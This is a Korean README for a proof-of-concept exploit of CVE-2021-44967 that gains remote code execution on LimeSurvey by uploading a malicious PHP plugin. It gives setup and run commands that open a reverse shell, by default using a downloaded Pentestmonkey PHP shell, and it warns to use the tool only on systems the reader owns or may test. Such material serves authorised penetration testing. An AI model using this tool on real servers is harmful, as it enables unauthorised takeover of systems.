
CVE-2021-44967에 대한 개념 증명(PoC) 익스플로잇으로, LimeSurvey 5.2.4에서 악성 플러그인 업로드를 통해 원격 코드 실행을 가능하게 하며 리버스 셸 기능을 포함합니다.
CVE-2021-44967에 대한 개념 증명입니다. 이 스크립트는 LimeSurvey에 인증하고, PHP 플러그인을 업로드 및 활성화한 뒤, 리버스 셸을 트리거합니다.
소유하거나 테스트 권한이 있는 시스템에만 사용하십시오.
beautifulsoup4, netifaces, requestsPATH에서 사용 가능한 nc격리된 환경을 만들고 Python 패키지를 설치하십시오:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip는 IPv4 주소 또는 인터페이스 이름을 받으며 기본값은 tun0입니다. --file을 생략하면 스크립트가 Pentestmonkey PHP 리버스 셸을 다운로드하고 리스너 주소로 구성합니다. 대신 로컬 PHP 페이로드를 제공하려면 --file payload.php를 전달하십시오.
프록시 및 사용자 지정 User-Agent 설정을 포함한 모든 옵션은 python3 limesurvey_rce.py --help를 실행하여 확인하십시오.
이 익스플로잇은 LimeSurvey Community Edition 6.6.4에 대해 테스트되었습니다. CVE 레코드는 LimeSurvey 5.2.4의 문제를 설명합니다.